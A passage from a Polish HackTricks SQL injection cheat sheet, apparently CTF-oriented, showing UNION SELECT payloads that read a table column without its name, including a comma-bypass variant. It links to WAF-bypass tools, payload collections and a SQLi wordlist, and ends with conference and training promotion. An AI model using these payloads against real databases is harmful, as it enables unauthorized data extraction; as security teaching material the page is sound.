### Ominięcie Ograniczenia Nazw Kolumn
|
||
|
||
Przede wszystkim zauważ, że jeśli **oryginalne zapytanie i tabela, z której chcesz wyodrębnić flagę, mają tę samą liczbę kolumn**, możesz po prostu użyć: `0 UNION SELECT * FROM flag`
|
||
|
||
Możliwe jest **uzyskanie dostępu do trzeciej kolumny tabeli bez użycia jej nazwy** za pomocą zapytania takiego jak: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, więc w przypadku sqlinjection wyglądałoby to tak:
|
||
```bash
|
||
# This is an example with 3 columns that will extract the column number 3
|
||
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
|
||
```
|
||
Lub używając **comma bypass**:
|
||
```bash
|
||
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
|
||
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
|
||
```
|
||
Ten trik został zaczerpnięty z [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
|
||
|
||
### Narzędzia do omijania WAF
|
||
|
||
{% embed url="https://github.com/m4ll0k/Atlas" %}
|
||
|
||
## Inne przewodniki
|
||
|
||
* [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com)
|
||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||
|
||
## Lista wykrywania Brute-Force
|
||
|
||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}
|
||
|
||
|
||
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/) to najważniejsze wydarzenie związane z cyberbezpieczeństwem w **Hiszpanii** i jedno z najważniejszych w **Europie**. Z **misją promowania wiedzy technicznej**, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa w każdej dziedzinie.
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
{% hint style="success" %}
|
||
Ucz się i ćwicz Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Ucz się i ćwicz Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Wsparcie dla HackTricks</summary>
|
||
|
||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||
|
||
</details>
|
||
{% endhint %}
|